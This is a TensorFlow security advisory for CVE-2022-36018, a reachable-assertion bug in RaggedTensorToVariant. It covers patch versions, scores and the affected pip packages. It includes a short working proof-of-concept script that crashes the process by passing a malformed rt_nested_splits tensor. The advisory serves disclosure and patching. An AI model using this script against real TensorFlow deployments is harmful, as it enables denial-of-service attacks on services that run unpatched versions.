If RaggedTensorToVariant is given a rt_nested_splits list that contains tensors of ranks other than one, it results in a CHECK fail that can be used to trigger a denial of service attack.
import tensorflow as tf
batched_input = True
rt_nested_splits = tf.constant([0,32,64], shape=[3], dtype=tf.int64)
rt_dense_values = tf.constant([0,32,64], shape=[3], dtype=tf.int64)
tf.raw_ops.RaggedTensorToVariant(rt_nested_splits=rt_nested_splits, rt_dense_values=rt_dense_values, batched_input=batched_input)
We have patched the issue in GitHub commit 88f93dfe691563baa4ae1e80ccde2d5c7a143821.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
| Score | Percentile |
|---|---|
| 0.06% | 19.80% |
| Base score | Version | Severity | Vector |
|---|---|---|---|
| 5.9 | 3.1 | — |
|
| Type | Value |
|---|---|
| GHSA | GHSA-m6cv-4fmf-66xf ↗ |
| CVE | CVE-2022-36018 ↗ |
| CWE id | Name |
|---|---|
| CWE-617 | Reachable Assertion |
Vulnerable version ranges and first patched releases as published by GitHub.
| Ecosystem | Package | Vulnerable range | First patched | Vulnerable functions |
|---|---|---|---|---|
| pip | tensorflow | < 2.7.2 | 2.7.2 | — |
| pip | tensorflow | >= 2.8.0, < 2.8.1 | 2.8.1 | — |
| pip | tensorflow | >= 2.9.0, < 2.9.1 | 2.9.1 | — |
| pip | tensorflow-cpu | < 2.7.2 | 2.7.2 | — |
| pip | tensorflow-cpu | >= 2.8.0, < 2.8.1 | 2.8.1 | — |
| pip | tensorflow-cpu | >= 2.9.0, < 2.9.1 | 2.9.1 | — |
| pip | tensorflow-gpu | < 2.7.2 | 2.7.2 | — |
| pip | tensorflow-gpu | >= 2.8.0, < 2.8.1 | 2.8.1 | — |
| pip | tensorflow-gpu | >= 2.9.0, < 2.9.1 | 2.9.1 | — |